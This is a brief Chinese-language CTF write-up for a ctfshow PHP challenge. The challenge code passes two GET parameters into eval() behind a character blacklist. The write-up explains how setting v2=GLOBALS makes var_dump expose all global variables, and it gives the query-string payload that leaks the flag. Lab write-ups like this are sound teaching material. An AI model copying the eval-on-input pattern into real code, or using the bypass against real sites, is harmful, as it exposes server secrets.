<?php
highlight_file(__FILE__);
error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2)
{
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2']))
{
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1))
{
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2))
{
die("error v2");
}
if(preg_match('/ctfshow/', $v1))
{//规定v1的值
getFlag($v1,$v2);
}
}
?>
利用全局变量来实现输出v1=ctfshow
v2=GLOBALS
ctfshow=&GLOBALS
此时ctfshow
的指向就是全局变量的指向,于其具有了相同的作用,那么此时vardump(ctfshow)
就是var_dump$GLOBALS
?v1=ctfshow&v2=GLOBALS
打赏我,让我更有动力~
© 2016 - 2025 掌控者 All Rights Reserved.